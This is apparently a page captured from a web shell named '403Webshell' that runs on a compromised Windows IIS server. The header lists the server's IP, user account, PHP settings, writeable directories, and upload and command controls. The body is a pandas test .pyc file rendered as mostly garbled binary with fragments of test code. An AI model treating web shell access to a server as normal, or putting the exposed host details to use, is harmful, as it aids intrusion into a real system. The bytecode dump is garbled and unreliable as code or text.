403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pandas/tests/indexing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pandas/tests/indexing/__pycache__/test_categorical.cpython-312.pyc
�

0	�g�L����ddlZddlZddlZddlmcmZddlZ	ddlm
Z
mZmZm
Z
mZmZmZmZmZmZddlmZej.d��Zej.d��ZGd�d�Zy)�N)
�Categorical�CategoricalDtype�CategoricalIndex�	DataFrame�Index�Interval�Series�	Timedelta�	Timestamp�option_contextc��tdtjdd��itt	d�tt	d��d���	�S)
N�A��int64��dtype�aabbca�cab�B�r�name��index�r�np�aranger�listr���HC:\Python312\Lib\site-packages\pandas/tests/indexing/test_categorical.py�dfr!sC�������1�G�,�	
����N�"2�4��;�"?�c�
�	�rc��tdtjdd��itt	d�tt	d��d���	�S)
Nrrrrr�caberrrrrrr �df2r$$sC�������1�G�,�	
����N�"2�4��<�"@�s�
�	�rc�l�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zej(j+ddej,dej0d���g�d��Zd�Zd�Zej(j+dgd�gd�gd�gd�gd�ej:D��d�ej<D��ej@gd �e!�!��e"d"d#�e"d#d$�e"d$d%�g�e#d&d"d"�e#d&d'd"�e#d&d(d"�g�e$d"d)�e$d'd)�e$d(d*�g�d+�ejJD��e&jNjQgd,��j@�e&jRd-d(�.�j@�e&jTd/d(�0�j@��d1��Z+d2�Z,y3)4�TestCategoricalIndexc��ttd��}|jd}ttd�d��j	|�}|j
|k(sJ�t
dgd�it|���}tj||�|j�}d	|jd<ttd
�d��j	|�}|j
|k(sJ�t
dgd�it|���}tj||�tjtd�
�5|jdddd�|j�}|j�}|jj	t�|_d|jd<d|jd<tj||�y#1swY��xYw)Nr�a�aaar�rr)r��r�r)r-r-���r-z^'d'$��match�d�
)rr�locr	�astyperrr�tm�assert_frame_equal�copy�pytest�raises�KeyErrorr�object)�selfr!r�result�bidx�expected�bidx2r$s        r �test_loc_scalarz$TestCategoricalIndex.test_loc_scalar1sm�� ��e��-���������d�5�k��,�3�3�E�:���z�z�U�"�"�"��c�9�-�U�4�[�A��
���f�h�/�
�W�W�Y������s���t�H�~�C�0�7�7��>���{�{�e�#�#�#���*�
���,�	
��	���b�(�+��]�]�8�8�
4�	��F�F�3�K�	��g�g�i���8�8�:��!���.�.�v�6�������S��������
���c�8�,�	�	�s�*F;�;Gc
�h�d|jd<|j�}d|jd<ttd�d��}t	dgd	�it|��
�}tj||�|j�}d|jd<t	dddd
ddtjgtjtjtjtjtjtjdgd�t|��
�}tj||�y)Nr-r(r4)r3r�aabbcadrr*r)r-r-r.r/r0r-g$@r)r3�Cr.r/r0)rrF)	r5r9rrrr7r8r�nan)r>r!�df3�bidx3�	expected3�df4s      r �,test_loc_setitem_with_expansion_non_categoryzATestCategoricalIndex.test_loc_setitem_with_expansion_non_categoryQs�������s���g�g�i���������d�9�o�C�0����0�
���,�	
�	�	���c�9�-��g�g�i����������"�a��A�r�2�6�6�2��f�f�b�f�f�b�f�f�b�f�f�b�f�f�b�f�f�b�I�
���,�
�	�	���c�9�-rc��tjtd��5|jdddd�y#1swYyxYw)Nz^1$r1r+�r:r;r<r5)r>r!s  r �$test_loc_getitem_scalar_non_categoryz9TestCategoricalIndex.test_loc_getitem_scalar_non_categoryms0��
�]�]�8�5�
1�	��F�F�1�I�	�	�	���5�>c���ttgd���}|ddd�}tjgd�tj��}tj|j�|�tdtjd�dzjd�i�}tj|jgd	��
�|d<tdtd
d�gddgd��}|jd}tj ||�tdtjdd�jd�itjdd�jd���}tj|jgd	��
�|d<|jdd}tj"||�tdtd
d�gddgd��}|j$d}tj ||�y)N�r+r.r/r0���)r0r/r.r+r�value�dr+r)r��2�KrU)�bins�D�rrVr4�rr�r-r�	�)r	rr�arrayrr7�assert_numpy_array_equal�	__array__rrr6�pd�cutrTr�iloc�assert_series_equalr8r5)r>�cat�reverse�expr!rAr?s       r �test_slicingz!TestCategoricalIndex.test_slicingqsz���[��.�/���d��d�)���h�h�|�2�8�8�4��
�#�#�G�$5�$5�$7��=�
��"�)�)�C�.�1�"4�!<�!<�W�!E�F�
G���&�&����(<�=��3���2�x��2��/���~�B�O��������
���v�x�0��
�b�i�i��B�'�.�.�w�7�8��)�)�B��#�*�*�7�3�
�����x�~�~�4H�I���
�����B���
���f�h�/��1�h�q�"�o�.�w��n�1�M��������
���v�x�0rc�n	�tgd�gd���}tgd��}gd�}t||d�|��}tdd	ggd���}td
dg�}dd
g}t||d�|��}t||d��}	tddgddgdd
��}
d}|jdd
�dd�f}tj||�t|djt�sJ�|jddd�f}
tj|
|
�t|
dt�sJ�|jdd�df}tj||	�t|jt�sJ�|jd}||k(sJ�|jd
d�dd�f}tj||�t|djt�sJ�|jd
dd�f}
tj|
|
�t|
dt�sJ�|jdd�df}tj||	�t|jt�sJ�|jd}||k(sJ�|jd
|jdf}||k(sJ�|jd}||k(sJ�|jd}||k(sJ�|jdg}||ddk(}tj||�||ddk(}tj||�|jd}||k(sJ�|jd}
tj|
|
�t|
dt�sJ�|jt!dd
�}tj||�t|djt�sJ�|jddg}tj||�t|djt�sJ�|jdd�df}tj||	�t|jt�sJ�|jdd�t!dd�f}tj||�t|djt�sJ�|jdd�ddgf}tj||�t|djt�sJ�y)N)r(�c�brlrlrlrl�r(rmrl��
categories��h�i�j�k�l�m�n)r+r.r/r0r,r���cats�valuesrrmrlrtrur/r0r{r\r|r=)rrrr.r)r.r)rtr{r+)rrrr	rer7r8�
isinstancerrrf�strr5�columns�iat�at�slice)r>r{�idxr|r!�cats2�idx2�values2�exp_df�exp_col�exp_row�exp_val�res_df�res_row�res_col�res_val�	exp_fancy�	res_fancys                  r �test_slicing_and_getting_opsz1TestCategoricalIndex.test_slicing_and_getting_ops�s����/�O�
���7�8��&��
���7�s�
C���S�#�J�?�C���c�3�Z� ���a�&���E�W�=�T�J����S�v�6���#�q��&�(�);�8�RU�V��������1��a����
���f�f�-��&��.�.�.�0@�A�A�A��'�'�!�Q�$�-��
���w��0��'�&�/�3�/�/�/��'�'�!�Q�$�-��
���w��0��'�-�-�)9�:�:�:��'�'�$�-���'�!�!�!�����C���
�#��
���f�f�-��&��.�.�.�0@�A�A�A��&�&��a��.��
���w��0��'�&�/�3�/�/�/��&�&��F��#��
���w��0��'�-�-�)9�:�:�:��&�&��%���'�!�!�!��&�&��b�j�j��m�+�,���'�!�!�!��&�&��,���'�!�!�!��%�%��$���'�!�!�!��G�G�Q�C�L�	��r�&�z�S�(�)�	�
���i��3��r�(�|�q�(�)�	�
���i��3��%�%��$���'�!�!�!��'�'�!�*��
���w��0��'�&�/�3�/�/�/�����q�!��%��
���f�f�-��&��.�.�.�0@�A�A�A����!�Q����
���f�f�-��&��.�.�.�0@�A�A�A��'�'�!�Q�$�-��
���w��0��'�-�-�)9�:�:�:�����E�!�Q�K��(��
���f�b�)��&��.�.�.�0@�A�A�A�����Q��F��#��
���f�b�)��&��.�.�.�0@�A�A�Arc���tgd�gd���}tgd��}gd�}t||d�|��}|jdd	�dd�f}ttd
d
ggd���ddgd�ddg��}t	j
||�|jdd	�dd�fj}td
dgddgt��}t	j||�|jdd�df}ttgd�gd���gd�d��}t	j||�|jdd�|jddf}tdtgd�gd���igd���}t	j
||�y)N)r(rmrmrmrlrlrlrnrorq)r+r.r.r.r/r0r,rzrr.r0rmrtru�categoryrr{r|rrr)r(rmrm)rrrsrtr\rr+)rrrrer7r8�dtypesr	r=rfr5r)r>r{r�r|r!r?rAs       r �test_slicing_doc_examplesz.TestCategoricalIndex.test_slicing_doc_exampless\���/�O�
���7�8��&��
���7�s�
C������1��a�����#�S�#�J�?�K��a�&�
���*�
��	���f�h�/�����1��a���'�'���:�w�/�&�(�1C�6�R��
���v�x�0�����C����(�����O�D�!��
��
	���v�x�0�����C�����A�a��0�1���
�[��_�M�N�!�
��	���f�h�/rc�x�|jddg}|jgd�}tj||d��y)Nrlr()r0rr+r,T��check_index_type)r5rer7r8)r>r!r?rAs    r � test_loc_getitem_listlike_labelsz5TestCategoricalIndex.test_loc_getitem_listlike_labels)s4������c�
�#���7�7�<�(��
���f�h��Frc��tjttjd���5|j
gd�ddd�y#1swYyxYw)N�['e'] not in indexr1�r(rm�e�r:r;r<�re�escaper5�r>r$s  r �)test_loc_getitem_listlike_unused_categoryz>TestCategoricalIndex.test_loc_getitem_listlike_unused_category/s=���]�]�8�2�9�9�5I�+J�
K�	%��G�G�O�$�	%�	%�	%���A
�
Ac��tjtd��5|jdddd�y#1swYyxYw)Nz^'e'$r1r�rNr�s  r �&test_loc_getitem_label_unused_categoryz;TestCategoricalIndex.test_loc_getitem_label_unused_category5s0��
�]�]�8�8�
4�	��G�G�C�L�	�	�	�rPc��tjttjd���5|j
ddgddd�y#1swYyxYw)Nz['d'] not in indexr1r(r3r�r�s  r �test_loc_getitem_non_categoryz2TestCategoricalIndex.test_loc_getitem_non_category:s?��
�]�]�8�2�9�9�5I�+J�
K�	 ��G�G�S�#�J��	 �	 �	 �r�c���|j�}d|jd<|jgd�}ttd�td�d��}t	dgd	�i|�
�}tj||�y)Nr-r�r��aaabber#r)rprr)rr+r,r.r/r-r)r9r5rrrr7r8)r>r$r!r?�	exp_indexrAs      r �0test_loc_setitem_expansion_label_unused_categoryzETestCategoricalIndex.test_loc_setitem_expansion_label_unused_category?sa��
�X�X�Z������s������(��$�T�(�^��V��SV�W�	��c�#6�7�y�I��
���f�h�/rc�F�tgd��}tgd�gd�d�|��}|jddg}tddg|j��}td	d
gddgd�|��}t	j
||d
��|jgd�}tgd�|j��}tgd�gd�d�|��}t	j
||d
��t
jttjd���5|jddgddd�y#1swYyxYw)Nrn�r+r.r/�r0r,r�rrrr(rmror+r.r0r,Tr��r(r(rm)r+r+r.)r0r0r,�['x'] not in indexr1�x)rrr5rpr7r8r:r;r<r�r�)r>rr!�resr�ris      r �test_loc_listlike_dtypesz-TestCategoricalIndex.test_loc_listlike_dtypesHs���!��1��
�Y�Y�7�u�
E���f�f�c�3�Z� ��$�c�3�Z�E�<L�<L�M�	��q�!�f�A�q�6�2�)�D��
���c�3��>��f�f�_�%��$�_��AQ�AQ�R�	��i�i�8�	�J��
���c�3��>�
�]�]�8�2�9�9�5I�+J�
K�	��F�F�C��:��	�	�	�s�<D�D c��tgd��}tgd�gd�d�|��}|jddg}tgd�gd	�d�tgd
����}tj||d��|jgd
�}tgd
�gd�d�tgd����}tj||d��tjttjd���5|jddgddd�y#1swYyxYw)N)r(rmr(r�r�r�rr(rm�r+r/r.)r0rr,r�Tr��r+r/r+r/r.)r0rr0rr,�r(r(r(r(rmr�r1r�)
rrr5r7r8r:r;r<r�r��r>rr!r�ris     r �8test_loc_listlike_dtypes_duplicated_categories_and_codeszMTestCategoricalIndex.test_loc_listlike_dtypes_duplicated_categories_and_codes_s��� ��1��
�Y�Y�7�u�
E���f�f�c�3�Z� ����)�,�4D�_�4U�
��	���c�3��>��f�f�_�%���!��8�"�#<�=�
��	���c�3��>�
�]�]�8�2�9�9�5I�+J�
K�	��F�F�C��:��	�	�	�s� C;�;Dc	�P�tgd�td���}tgd�gd�d�|��}|jdd	g}tgd
�gd�d�tgd�td�����}t	j
||d
��|jgd�}tgd�gd�d�tgd�td�����}t	j
||d
��t
jttjd���5|jddgddd�y#1swYyxYw)N�r(rmr(rl�abcderorR�r,rryr_r�rr(rmr�)r,ryrr�Tr�r�)r,ryr,ryrr�r�r1r�)rrrr5r7r8r:r;r<r�r�r�s     r �(test_loc_listlike_dtypes_unused_categoryz=TestCategoricalIndex.test_loc_listlike_dtypes_unused_categoryvs��� �!5�$�w�-�P��
�\��=�U�
K���f�f�c�3�Z� ����)�,�"�?�t�G�}�M�
��	���c�3��>��f�f�_�%���!��8�"�#<��g��W�
��	���c�3��>�
�]�]�8�2�9�9�5I�+J�
K�	��F�F�C��:��	�	�	�s�D�D%c��tgd�td���}tgd�gd�d�|��}tjt
d�	�5|jdddd�tjt
tjd
��	�5|jddgddd�y#1swY�RxYw#1swYyxYw)Nr�r�rorRr�r�rr�r1r�r()	rrrr:r;r<r5r�r�)r>rr!s   r �9test_loc_getitem_listlike_unused_category_raises_keyerrorzNTestCategoricalIndex.test_loc_getitem_listlike_unused_category_raises_keyerror�s��� �!5�$�w�-�P��
�\��=�U�
K��
�]�]�8�3�
/�	��F�F�3�K�	��]�]�8�2�9�9�5I�+J�
K�	��F�F�C��:��	�	�		�	��	�	�s�B)�B5�)B2�5B>c��ttjjd�j	d�td�td���}|j
�}t|j�|_t|j�|_	t|jddd�f|jd��}tj|jddd�f|�t|jdd�df|jd��}tj|jdd�df|�ttd	�gd
���}t|jddgdd�f|j|�
�}tj|jddgdd�f|�ttd�gd���}t|jdd�ddgf|j|��}tj|jdd�ddgf|�y)Nr.�r/r/�ABC�XYZ�rrrr\�X�AB�rrrFror�rr�XY)r��Y�Zr�)rr�random�default_rng�standard_normalrr9rrrr	r5r7rfr8)r>r!�cdf�expectr��exp_columnss      r �test_ix_categorical_indexz.TestCategoricalIndex.test_ix_categorical_index�s���
��I�I�!�!�!�$�4�4�V�<��u�+���K�
��
�g�g�i��$�R�X�X�.��	�&�r�z�z�2�������s�A�v��c�k�k��D��
���s�w�w�s�A�v���7�����q�#�v��c�i�i�c�B��
���s�w�w�q�#�v���7�$�T�$�Z�O�L�	��2�6�6�3��*�a�-�0�#�+�+�Y�W��
���c�g�g�s�C�j�!�m�4�f�=�&�t�D�z�o�N���2�6�6�!�c�3�Z�-�0��	�	�;�W��
���c�g�g�a�#�s��m�4�f�=r�infer_stringFT�pyarrow)�marksc
��td|�5ttjj	d�jd�t
d�t
d���}|j�}t|j�|_	t|j�|_
tt
d�dd	g�
�}t|jddd�f|j|��}tj|jddd�f|�tt
d�d
dg�
�}t|jdd�d
f|j|��}tj|jdd�d
f|�t|jdd	gdd�f|jtt
d����}tj|jdd	gdd�f|�t|jdd�d
dgf|jtt
d����}tj|jdd�d
dgf|�ddd�y#1swYyxYw)Nzfuture.infer_stringr.r��ABA�XYXr��AArrror��XXr�r��AAB�XXY)rrrr�r�r�rr9rrrr5r7r8)r>r�r!r�r�r�r�s       r �$test_ix_categorical_index_non_uniquez9TestCategoricalIndex.test_ix_categorical_index_non_unique�s���
�1�<�
@�	B���	�	�%�%�a�(�8�8��@��5�k��U���B�
�'�'�)�C�(����2�C�I�*�2�:�:�6�C�K�(��d���c�
�K�I��r�v�v�c�1�f�~�s�{�{�)�T�F��!�!�#�'�'�#�q�&�/�6�:�*�4��:�3��*�M�K��r�v�v�a��f�~�S�Y�Y��T�F��!�!�#�'�'�!�S�&�/�6�:������S�z�1�}�%����&�t�E�{�3��F�

�!�!�#�'�'�3��*�a�-�"8�&�A�����q�3��*�}�%��i�i�(��e��5��F�

�!�!�#�'�'�!�c�3�Z�-�"8�&�A�=	B�	B�	B�s�H-I�Ic���d}tjt|��5|jddddd�|jdd}|jgd�}tj||�y#1swY�@xYw)NzRcannot do slice indexing on CategoricalIndex with these indexers \[1\] of type intr1r+r,rmrl)r.r/r0)r:r;�	TypeErrorr5rer7r8)r>r!�msgr?rAs     r �test_loc_slicez#TestCategoricalIndex.test_loc_slice�sm��
*�	��]�]�9�C�
0�	��F�F�1�Q�K�	�����C����7�7�9�%��
���f�h�/�	�	�s�A-�-A6c���tddgddgddggtgd����}|d	}|jd
dk(sJ�|jd
dk(sJ�|jddk(sJ�|jddk(sJ�y)Nr+r.r/r0r,rr�rrr)rr+)rrr5r�)r>r!�ss   r �&test_loc_and_at_with_categorical_indexz;TestCategoricalIndex.test_loc_and_at_with_categorical_index�s���
���V�a��V�a��V�$�,<�_�,M�
��
�q�E���u�u�S�z�Q�����t�t�C�y�A�~��~��v�v�f�~��"�"�"��u�u�V�}��!�!�!r�
idx_valuesr�)rS�������g�?g@�@)g��g�g�c#�NK�|]}tjgd�|�����y�w�r�rN�rr`��.0rs  r �	<genexpr>zTestCategoricalIndex.<genexpr>�s����
T�5�b�h�h�y��.�.�
T���#%c#�NK�|]}tjgd�|�����y�w)r�rNr�)r��dtyps  r r�zTestCategoricalIndex.<genexpr>�s����
V��b�h�h��d�3�3�
V�r�)r+rmr�rr+r0rr^i�r.r/r3rZc#�NK�|]}tjgd�|�����y�wr�)rcr`r�s  r r�zTestCategoricalIndex.<genexpr>s����
Q�5�b�h�h�y��.�.�
Q�r�)r+r0rr^z
2019-01-01)�periods�1d)�startr�c��t||��}tdgd�i|��}t|d|d�}|j|d}t	dgdg|d��}tj||�|j|dd	}tdd
g|dd	dg��}tj||�|j|}tdd
g|dd	dg��}tj||�|j�}d|j|d<tdgd
�i|��}tj||�|j�}ddg|j|dd	df<tdgd�i|��}tj||�|j�}ddg|j|df<tdgd�i|��}tj||�y)N)�orderedr)�foo�bar�bazrrr+r�r\r.r�r��qux)r�r�r��qux2)r�r�r�)	rrr�r5r	r7rfr8r9)r>r�r��cat_idxr!�slr?rAs        r �+test_loc_getitem_with_non_string_categoriesz@TestCategoricalIndex.test_loc_getitem_with_non_string_categories�s���8#�:�w�?��
��2�3�7�
C��
�:�a�=�*�Q�-�
0�����
�1�
�&���5�'�#��Z��]�C��
���v�x�0����
�2�A��'���e�U�^�7�2�A�;���N��
���f�h�/��������e�U�^�7�2�A�;���N��
���f�h�/������$)��
�
�:�a�=�!��c�#8�9��I��
���f�h�/������+0�&�/��
�
�:�b�q�>�3�&�'��c�#9�:�'�J��
���f�h�/������$�f�o��
�
�2�s�7���c�#9�:�'�J��
���f�h�/rc��tddtjg�}tt	d�|��}|tjdk(sJ�|j
tjdk(sJ�t
|�}|j
tjdfdk(sJ�|j
tjddk(sJ�y)Nrrr/rr.r)rrrGr	�ranger5r)r>�ci�serr!s    r �!test_getitem_categorical_with_nanz6TestCategoricalIndex.test_getitem_categorical_with_nan2s���
�s�C����0�
1���U�1�X�R�(���2�6�6�{�a�����w�w�r�v�v��!�#�#�#�
�s�^���v�v�b�f�f�a�i� �A�%�%�%��v�v�b�f�f�~�a� �A�%�%�%rN)-�__name__�
__module__�__qualname__rCrLrOrjr�r�r�r�r�r�r�r�r�r�r�r�r:�mark�parametrize�param�td�
skip_if_nor�r�r�r7�ALL_INT_NUMPY_DTYPES�FLOAT_NUMPY_DTYPESrr`r=rrr
�ALL_INT_EA_DTYPESrc�
IntervalIndex�from_breaks�
date_range�timedelta_rangerrrrr r&r&0s��-�@.�8�1�2wB�r$0�LG�%��
 �
0��.�.�.
�>�2�[�[���������T�����y�9Q� R�S�� B�� B�D0�"��[�[����
����	
�U�B�<S�<S�
T�	
�W��@U�@U�
V�	
�
�B�H�H�]�&�1�	
��a��^�X�a��^�X�a��^�<�	
��t�Q��
"�I�d�A�q�$9�9�T�1�a�;P�Q�	
��q�#�
�	�!�S� 1�9�Q��3D�E�	
�"R�B�<P�<P�
Q�#	
�&
���(�(��6�<�<�'	
�(
�B�M�M�,��2�8�8�)	
�*
�B���T�1�5�;�;�+	
��4%0�5�4%0�N&rr&)r��numpyrr:�pandas.util._test_decorators�util�_test_decoratorsr�pandasrcrrrrrrr	r
rr�pandas._testing�_testingr7�fixturer!r$r&rrr �<module>rsg��	��
�)�)������������������M&�M&r

Youez - 2016 - github.com/yon3zu
LinuXploit